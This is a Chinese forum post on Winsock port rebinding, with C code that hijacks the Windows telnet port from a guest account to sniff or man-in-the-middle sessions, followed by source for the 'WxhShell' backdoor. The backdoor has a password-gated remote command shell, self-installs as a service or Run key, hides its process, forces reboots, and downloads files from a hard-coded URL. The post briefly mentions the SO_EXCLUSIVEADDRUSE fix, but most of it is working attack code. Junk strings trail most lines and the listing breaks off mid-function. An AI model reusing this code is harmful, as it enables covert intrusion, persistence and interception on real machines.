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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 50q(8F-N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3copJS  
[T<nTB# w  
  saddr.sin_family = AF_INET; f~ kz=R=  
F9IrbLS9c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7u73v+9qn:  
|WwC@3)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E">FH >8K}  
lA>^k;+>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ia6%>^  
P|*c7+q  
  这意味着什么?意味着可以进行如下的攻击: ?5-Y'(r  
K%iWUl;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B|XrjI?  
wyJ+~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jrk48z  
jkTC/9AE|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Zawnx=  
nI]8w6eCV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0vR gmn  
e!k1GTH^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Uq/FH@E=  
AtU%S9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [QwEidX|  
)B'&XLK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i7D[5!  
wr>[Eo@%\  
  #include ?i'N 9 /(  
  #include F#NuZ'U  
  #include t$~CLq5ad  
  #include    v_^>*Vm*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^m pWQ`R  
  int main() &GYnGrw?@  
  { %x{jmZ$}  
  WORD wVersionRequested; b$FK}D5  
  DWORD ret; 7W[+e&  
  WSADATA wsaData; Sq22]  
  BOOL val; pY.R?\  
  SOCKADDR_IN saddr; Kcl~cIh77  
  SOCKADDR_IN scaddr; o0ky]9 P  
  int err; 5?l8;xe`{f  
  SOCKET s; x Zp`  
  SOCKET sc; gi {rqM  
  int caddsize; k4T`{s}e  
  HANDLE mt; HE!"3S2S&+  
  DWORD tid;   cPunMHD  
  wVersionRequested = MAKEWORD( 2, 2 ); qh9d .Q+n  
  err = WSAStartup( wVersionRequested, &wsaData ); ;Qn)~b~  
  if ( err != 0 ) { QrBb! .r  
  printf("error!WSAStartup failed!\n"); , L_u X  
  return -1; !%X~`&9  
  } nIZ;N!r=i  
  saddr.sin_family = AF_INET; da ' 1 H  
   hufpky[&8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~t+T5`K  
aFw \ w>*^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kB[l6`  
  saddr.sin_port = htons(23); O, .c gX   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'Nkd *  
  { _p*a`,tK  
  printf("error!socket failed!\n"); Dc@OrQu  
  return -1; LUaOp "  
  } t]gZ^5  
  val = TRUE; L`3;9rO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !(gMr1}w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R1 C}S  
  { _w}l,   
  printf("error!setsockopt failed!\n"); WU$l@:Yo  
  return -1; gUr #3#  
  } h;[<4zw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  #nq$^H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G22{',#r8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1R.|j_HYy  
3s\}|LqX#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3QI.|;X  
  { Llf#g#T  
  ret=GetLastError(); 43.Q);4  
  printf("error!bind failed!\n"); jhR`%aH4  
  return -1; ]A=yj@o$xN  
  } 8/vGA=  
  listen(s,2); P+L#p(K  
  while(1) :X*$U ~aQ  
  { N?EeT}m_  
  caddsize = sizeof(scaddr); utu V'5GD  
  //接受连接请求 FW"n+7T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Nn#;Kjul.  
  if(sc!=INVALID_SOCKET) G)IK5zCDd  
  { V1#:[o63+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CL3b+r  
  if(mt==NULL) $;pHv<  
  { z[Ah9tM%  
  printf("Thread Creat Failed!\n"); 1K#%mV_  
  break; XjXz#0nR  
  } b|-}?@&7&q  
  } SPT?Tt  
  CloseHandle(mt); W" Tj.oCUG  
  } V_3K((P6  
  closesocket(s); _I?oR.ON33  
  WSACleanup(); !tzk7D  
  return 0; M]Hf>7p  
  }   T@jv0/(+  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;&dMtYb  
  { ~_SRcM{  
  SOCKET ss = (SOCKET)lpParam; yGY:EvH^?  
  SOCKET sc; V]Rt[l]  
  unsigned char buf[4096]; WJJmM*>JW  
  SOCKADDR_IN saddr; 0Ke2%+yqJ  
  long num; }Uu#N H  
  DWORD val; hnimd~E52k  
  DWORD ret; p%R+c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +'/C(5y)0X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %p:Z(zU  
  saddr.sin_family = AF_INET; z3c7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ot+Z}Z-  
  saddr.sin_port = htons(23); )DGJr/)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "+M0lGTB  
  { |LRAb#F\  
  printf("error!socket failed!\n"); GdYQq.  
  return -1; EK&";(x2(  
  } <Nk:C1Op}  
  val = 100; 3#? 53s   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kzx` E>,z'  
  { /_X`i[  
  ret = GetLastError(); @_$Un&eo  
  return -1; .ah[!O  
  } |It&1fz}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q@1SqK#-DQ  
  { "l{{H&d  
  ret = GetLastError(); E!RlH3})  
  return -1; Bg[_MDWc-P  
  } }_BNi;H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uPy5<c  
  { mp)+wZAN&  
  printf("error!socket connect failed!\n"); 388vdF  
  closesocket(sc); a!EW[|[Q  
  closesocket(ss); ;t M  
  return -1; U[?f@.&  
  } $>7T s>8  
  while(1) )5NWUuH 5  
  { ^(s(4|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 erKi*GssZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O!t=,F1j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ih N^*P:Fo  
  num = recv(ss,buf,4096,0); LzxO=+=9!q  
  if(num>0) zGdYk-H3TH  
  send(sc,buf,num,0); /'/i?9:  
  else if(num==0) t3AmXx  
  break; nu)YN1 *  
  num = recv(sc,buf,4096,0); 5Bt~tt  
  if(num>0) $<9u:.9xf  
  send(ss,buf,num,0);  |e<$  
  else if(num==0) 9 p,O>I  
  break; T^F83Py<  
  } ;b (ww{&  
  closesocket(ss); (*b<IGi;  
  closesocket(sc); I$R1#s  
  return 0 ; :dQRrmM  
  } P4zwTEk`  
(xE |T f  
/M JI^\CA  
========================================================== qyAnq%B}  
l-P6B9e|\  
下边附上一个代码,,WXhSHELL 5KfrkZ  
Dlpmm2  
========================================================== G3 |x%/Fbp  
P,xIDj4d  
#include "stdafx.h" ^?wR{q"8  
sH>`eqY  
#include <stdio.h> puLgc$?  
#include <string.h> F v*QcB9K  
#include <windows.h> ]Ok'C"V(j  
#include <winsock2.h> (S4HU_,88  
#include <winsvc.h> d"@ /{O^1  
#include <urlmon.h> Nw*F1*v`  
61b*uoq0w?  
#pragma comment (lib, "Ws2_32.lib") CiGXyhh  
#pragma comment (lib, "urlmon.lib") MsBm0r`a  
=av0a !  
#define MAX_USER   100 // 最大客户端连接数 ;l1.jQh  
#define BUF_SOCK   200 // sock buffer B;S'l|-?  
#define KEY_BUFF   255 // 输入 buffer as'yYn8  
rW090Py  
#define REBOOT     0   // 重启 ak-agH  
#define SHUTDOWN   1   // 关机 [2YPV\=  
[Y~~C J  
#define DEF_PORT   5000 // 监听端口 MN8>I=p  
&4+|{Zx0  
#define REG_LEN     16   // 注册表键长度 0b/@QgJ  
#define SVC_LEN     80   // NT服务名长度 ZyDNtX%  
}n "5r(*^@  
// 从dll定义API SQhVdYU1'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7r50y>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yj@k0TWT$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q 7 <d|s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OR*JWW[]  
3HBh 3p5  
// wxhshell配置信息 t|V<K^  
struct WSCFG { &AOGg\  
  int ws_port;         // 监听端口 )0/*j]Kf  
  char ws_passstr[REG_LEN]; // 口令 K a& 2>F  
  int ws_autoins;       // 安装标记, 1=yes 0=no PO8Z2"WI  
  char ws_regname[REG_LEN]; // 注册表键名 #0vda'q=j  
  char ws_svcname[REG_LEN]; // 服务名 ; o Y|~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |d&C<O;f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I`*5z;Q!%@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S0Io$\ha  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?wv^X`Q*~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wV iTMlq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M.6uWwzQR  
nGe4IY\-w  
}; (# mvDz  
jpO0dtn3=  
// default Wxhshell configuration KS<@;Tt  
struct WSCFG wscfg={DEF_PORT, :V5 Co!/+  
    "xuhuanlingzhe", BWQ`8  
    1, SMIDW}U2S  
    "Wxhshell", <F(S_w62  
    "Wxhshell", [qW%H,_  
            "WxhShell Service", p^*a>d:d]  
    "Wrsky Windows CmdShell Service", Y,GlAr s4  
    "Please Input Your Password: ", tkR~(h  
  1, jL8A_'3B  
  "http://www.wrsky.com/wxhshell.exe", ]hS<"=oj  
  "Wxhshell.exe" >zDQt7+g;  
    }; CuH4~6  
< K!r\^  
// 消息定义模块 $~G5s<r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xz^k.4 Y{4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iN. GC^l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5I,NvHD4  
char *msg_ws_ext="\n\rExit."; tM;cvc`/  
char *msg_ws_end="\n\rQuit."; A_\Jb}J1<  
char *msg_ws_boot="\n\rReboot..."; xGQP*nZ  
char *msg_ws_poff="\n\rShutdown..."; W4&8  
char *msg_ws_down="\n\rSave to "; k}F7Jw#.  
;Z"MO@9:  
char *msg_ws_err="\n\rErr!"; f|M^UHt8*  
char *msg_ws_ok="\n\rOK!"; K}cA%Y  
g-wE(L  
char ExeFile[MAX_PATH]; !.X/(R7J  
int nUser = 0; ]W$G!(3A  
HANDLE handles[MAX_USER]; D4@?>ek6U  
int OsIsNt; Dk a8[z7  
N2U&TCc  
SERVICE_STATUS       serviceStatus; \1gAWUt('  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hHTt-x#  
i9zh X1#  
// 函数声明 >J3m ta3  
int Install(void); \Xmp lG:  
int Uninstall(void); k kAg17 ^  
int DownloadFile(char *sURL, SOCKET wsh); {q`8+$Z;  
int Boot(int flag); >n3GvZ5%  
void HideProc(void); &gruYZGK  
int GetOsVer(void); i8k} B o  
int Wxhshell(SOCKET wsl); fMFkA(Of^  
void TalkWithClient(void *cs); &"JC8  
int CmdShell(SOCKET sock); ^7/v[J<<  
int StartFromService(void); S+~;PmN9qL  
int StartWxhshell(LPSTR lpCmdLine); x%r$/=  
~dEo^vJD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -k7b# +T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i_Q1\_m!  
s7sd(f]=  
// 数据结构和表定义 &hkD"GGe  
SERVICE_TABLE_ENTRY DispatchTable[] = .tLRY  
{ v~Dobk/n  
{wscfg.ws_svcname, NTServiceMain}, F?R6zvive  
{NULL, NULL} ?_d>-NC  
}; 8|{ZcW  
8tR6.09'  
// 自我安装 J)B3o$  
int Install(void) rhQ+ylt8I  
{ gh*k\0  
  char svExeFile[MAX_PATH]; ]gVA6B?&9  
  HKEY key; B=K<k+{6"  
  strcpy(svExeFile,ExeFile); .eg'Z@o  
*5BVL_:~J  
// 如果是win9x系统,修改注册表设为自启动 jd ;)8^7K  
if(!OsIsNt) { z+;$cfN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }wn|2K'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?m2FN< S  
  RegCloseKey(key); nw- -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mn/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !PGCoI  
  RegCloseKey(key); { CR`~)v&  
  return 0; ,"`3N2!Y}  
    } \mGb|aF8  
  } mfI[9G  
} Bf00&PE;  
else {  2=;ZJ  
hfLe<,  
// 如果是NT以上系统,安装为系统服务 sj&(O@~R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r+[g.`  
if (schSCManager!=0) K/C}  
{ okRt^qe  
  SC_HANDLE schService = CreateService uKXU.u*C  
  ( V.u^;gr3  
  schSCManager,  EH2):  
  wscfg.ws_svcname, lshSRir  
  wscfg.ws_svcdisp, ym6Emf]  
  SERVICE_ALL_ACCESS, sq#C|v/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U:$z lfV  
  SERVICE_AUTO_START, n8!|}J  
  SERVICE_ERROR_NORMAL, cwaR#-#  
  svExeFile, 2i!R>`  
  NULL, {@7UfJh>  
  NULL, ^Ff fc@=  
  NULL, rtvLLOIO  
  NULL, ?:60lCqj  
  NULL "7+^`?  
  ); 4IfkYM  
  if (schService!=0) `_Iyr3HAf  
  { 1@~%LV  
  CloseServiceHandle(schService); Th%w-19,8  
  CloseServiceHandle(schSCManager); lmoYQFkYP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |AvsT{2  
  strcat(svExeFile,wscfg.ws_svcname); hOLlZP+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l>`S<rGe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8b,Z)"(U3  
  RegCloseKey(key); #Qz 9{1\G  
  return 0; K ~\b+  
    } 7eM6 B#rI  
  } EMH-[EBx  
  CloseServiceHandle(schSCManager); EiM\`"o  
} w\d1  
} 6I=d0m.io  
79)iv+nf\l  
return 1; %`G}/"  
} E"BW-<_!  
S?v;+3TG  
// 自我卸载 \J(~ Nv5!  
int Uninstall(void) X J]+F  
{ 2i6P<&@  
  HKEY key; ^v;8 (eF  
]nIVP   
if(!OsIsNt) { f~=e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u5qaLHoEP  
  RegDeleteValue(key,wscfg.ws_regname); su\Lxv  
  RegCloseKey(key); ZyC[w 7$I2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >/GYw"KK  
  RegDeleteValue(key,wscfg.ws_regname); mrE> o !  
  RegCloseKey(key); 7[kDc-  
  return 0; C\C*@9=&x  
  } u^ wG Vg  
} 0\ j)!b  
} ^JIs:\ g<<  
else { QB* AQ5-  
dXt@x8E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?5d[BV   
if (schSCManager!=0) A#~CZQY^$  
{ :8)3t! A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u?g;fh6  
  if (schService!=0) 78Zb IL  
  { V^G+_#@,,  
  if(DeleteService(schService)!=0) { %7TG>tc  
  CloseServiceHandle(schService); )buy2#8UW  
  CloseServiceHandle(schSCManager); [F *hjGLc}  
  return 0; )u!}`UJ  
  } yq[CA`zVN  
  CloseServiceHandle(schService); 9Kz }  
  } 0#ePg6n  
  CloseServiceHandle(schSCManager); 3=L5Y/  
} i2O$oHd  
} x?R1/iHv  
5iItgVTW  
return 1; J(,gLl  
} r`0oI66B/  
![%:X)?  
// 从指定url下载文件 14-uy.0[  
int DownloadFile(char *sURL, SOCKET wsh) @DR?^ qp  
{ It'PWqZtG  
  HRESULT hr; :,^x?'HK  
char seps[]= "/"; Rwmr[g  
char *token; w01\KV  
char *file; :(jovse\  
char myURL[MAX_PATH]; NTM.Vj -_h  
char myFILE[MAX_PATH]; Wc##.qU  
]mO7O+  
strcpy(myURL,sURL); gWjz3ob  
  token=strtok(myURL,seps); |2X+( F Ed  
  while(token!=NULL) ]'i}}/}u2  
  { /LCRi  
    file=token; HFj@NRE6  
  token=strtok(NULL,seps); QbAEW m  
  } UD]RWN  
h5H#xoCXp  
GetCurrentDirectory(MAX_PATH,myFILE); 98l-  
strcat(myFILE, "\\"); 2;ogkPv'  
strcat(myFILE, file); W2,Uw1\:1  
  send(wsh,myFILE,strlen(myFILE),0); +^aM(4K\  
send(wsh,"...",3,0); r$d'[ZcX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6CWm;%B#G  
  if(hr==S_OK) {1wjIo"ptg  
return 0; g>f_'7F&  
else H]f8W]"c[  
return 1; %Zu+=I Z  
TbR Ee;1  
} xb(y15R\I  
oJ}$ /_  
// 系统电源模块 Y5Z<uD  
int Boot(int flag) z6Yx )qBE<  
{ ];}7 %3  
  HANDLE hToken; #J c)v0_  
  TOKEN_PRIVILEGES tkp; pB]+c%\  
Je~Ybh  
  if(OsIsNt) { '%A*Z,f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V)r6bb{^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %?:eURQ  
    tkp.PrivilegeCount = 1; =g^JJpS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {B6tGLt#bf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7;:Uv=  
if(flag==REBOOT) { Rwz (20n\^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q(YQ$ i"S  
  return 0; 2Yd;#i)  
} {{ 4S gb  
else { {W#VUB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #]o#~:S=  
  return 0; Jro%zZle  
} 1|\/2  
  } M6b6lhg  
  else { )eSD5hOI)  
if(flag==REBOOT) { .3 T#:Hl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tJY3k$YX  
  return 0; ?`D/#P  
} Y]t)k9|vv  
else { };;6706a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7 S2QTRvH  
  return 0; +~\c1|f  
} IOOAaa @(  
} A4|a{\|$  
HOAgRhzE  
return 1; y]ZujfW7  
} .EoLJHL }  
vwQ6=  
// win9x进程隐藏模块 7~Md6.FtM  
void HideProc(void) % g*AGu`  
{ o]*#|4-  
09u@-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); onAC;<w  
  if ( hKernel != NULL ) Vnq&lz%QqC  
  { 8L*P!j9`EY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VpkkiN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y\"Kur*O  
    FreeLibrary(hKernel); G+xdh  
  } )`.' QW  
qBIKJ  
return; ?KfV>.()  
} u CNi&.  
5}t}Wc8  
// 获取操作系统版本 (>\w8]  
int GetOsVer(void) o=VDO,eS  
{ 7Z<ba^r}  
  OSVERSIONINFO winfo; 6>Szxkz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >A;9Ee"&  
  GetVersionEx(&winfo); /? j vv&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lk|%2XGO&  
  return 1; nE3'm[)  
  else S2 0L@e"U  
  return 0; `by\@xQ)  
} 5b2_{6t  
tk <R|i  
// 客户端句柄模块 eO:wx.PW  
int Wxhshell(SOCKET wsl) IZkQmA=  
{ ^/kn#1H7&  
  SOCKET wsh; qj5V<c;h%W  
  struct sockaddr_in client; jQs"8[=s  
  DWORD myID; 8E| Nf  
)!&7XL[  
  while(nUser<MAX_USER) m:7$"oq|  
{ HsGyNkr?r  
  int nSize=sizeof(client); 4>&%N\$*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^l4=/=RR  
  if(wsh==INVALID_SOCKET) return 1; .:b|imgiv  
8 3wa{m:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]%PQ3MT.  
if(handles[nUser]==0) (E*eq-8  
  closesocket(wsh); 4j'cXxo  
else $*`=sV!r  
  nUser++; 75LIQ!G|=  
  } /i#~#Bn|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); czV][\5  
T.sib&R  
  return 0; *3A[C-1~.  
} (hn@+hc  
6:(*u{  
// 关闭 socket ,wN>,(  
void CloseIt(SOCKET wsh) ljij/C=  
{ B9RB/vHH  
closesocket(wsh); xmEmdOoD  
nUser--; #q"^6C 5  
ExitThread(0); KU> $=Rd  
} <"g ^V  
;oQ*gd  
// 客户端请求句柄 N{u4  
void TalkWithClient(void *cs) lIg;>|'Z5&  
{ j~eYq  
6mnj!p]3  
  SOCKET wsh=(SOCKET)cs; y-TS?5Dr]  
  char pwd[SVC_LEN]; L`$MOdF{_  
  char cmd[KEY_BUFF]; ^nYS @  
char chr[1]; ",c(cYVW  
int i,j; i%8I (F  
w>:~Ev]  
  while (nUser < MAX_USER) { ]e'Ol$3U9=  
"?Eh_Dw  
if(wscfg.ws_passstr) { s\6kXR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X/_e#H0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w~eF0 {h  
  //ZeroMemory(pwd,KEY_BUFF); QGYO{S  
      i=0; ?X1vU0 c  
  while(i<SVC_LEN) { 3JiJ,<,7  
~@x@uY$5  
  // 设置超时 %8)GuxG*  
  fd_set FdRead; tTT./-*0  
  struct timeval TimeOut; )pS1yYLj  
  FD_ZERO(&FdRead); 4|ryt4B  
  FD_SET(wsh,&FdRead); =#AeOqs( q  
  TimeOut.tv_sec=8; cvR|qHNX  
  TimeOut.tv_usec=0; P| o_/BS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Lzzf`jN]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;hz"`{(JY  
<|_/i/H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L {6y]t7^  
  pwd=chr[0]; >bia FK>t  
  if(chr[0]==0xd || chr[0]==0xa) { xHv<pza:  
  pwd=0; 'J (4arN  
  break; jJc?/1jv  
  } HG2i^y  
  i++; =y; tOdj  
    } W_NQi  
Vu DSjh  
  // 如果是非法用户,关闭 socket Kf<-PA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X&1R6 O  
} -'FzH?q:  
.u3!%{/v(c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ds4n>V,o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OTA@4~{C  
S{7*uK3$  
while(1) { 4#$~gTc@  
qm-G=EX  
  ZeroMemory(cmd,KEY_BUFF); x[+t  
#2thg{5  
      // 自动支持客户端 telnet标准   Vx5ioA]{  
  j=0; _cqB p7  
  while(j<KEY_BUFF) { 1us-ootsjP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *~F\k):>  
  cmd[j]=chr[0]; tN&x6O+@  
  if(chr[0]==0xa || chr[0]==0xd) { 8Yr_$5R  
  cmd[j]=0; wf!?'*  
  break; ^zv0hGk2  
  } NJfI9L  
  j++; seh1(q?Va4  
    }  pei-R  
MS,J+'2  
  // 下载文件 @B;2z_Y!l  
  if(strstr(cmd,"http://")) { kw8?:: <  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6b9 oSY-8  
  if(DownloadFile(cmd,wsh)) `+[e]dH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -iu7/4!j  
  else ^YddVp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #<V/lPz+  
  } c <8s \2  
  else { xEN""*Q  
&ah!g!o3  
    switch(cmd[0]) { ;/$=!9^sZ  
  UD|Qa  
  // 帮助 q -%;~LF  
  case '?': { HS"E3s8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d'~ kf#  
    break; 0z@ KkU{Z  
  } 9(>]6|XS  
  // 安装 ?mxBMtc  
  case 'i': { +H5= zf2  
    if(Install()) 8A{n9>jrb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  VP H  
    else 8<UD#i@:C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l+BJh1^  
    break; R}MdBE  
    } \_pP:e  
  // 卸载 XUT,)dL  
  case 'r': { E 5D5  
    if(Uninstall()) ( H/JB\~r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pi)7R:i  
    else PtySPDClj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %N#8D<ULd  
    break; lP*_dt9  
    } Y4cIYUSc  
  // 显示 wxhshell 所在路径 x8I=I"Sp  
  case 'p': { okfGd= &  
    char svExeFile[MAX_PATH]; }J27Y ;Zp9  
    strcpy(svExeFile,"\n\r"); { -*+G]  
      strcat(svExeFile,ExeFile); (Zi(6 T\z  
        send(wsh,svExeFile,strlen(svExeFile),0); kwRXNE(k]_  
    break; tz&'!n}  
    } h2g|D(u)  
  // 重启 ">vxYi  
  case 'b': { $]IX11.m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4.|-?qG  
    if(Boot(REBOOT)) j4j %r(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w5 nzS)B:u  
    else { MP/6AAt7=|  
    closesocket(wsh); T#'+w@Q9{9  
    ExitThread(0); J-t5kU;L{  
    } #9aB3C  
    break; 1&A@Zo5|  
    } W99MA5P  
  // 关机 G8%Q$  
  case 'd': { a+!#cQl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x/*ndH  
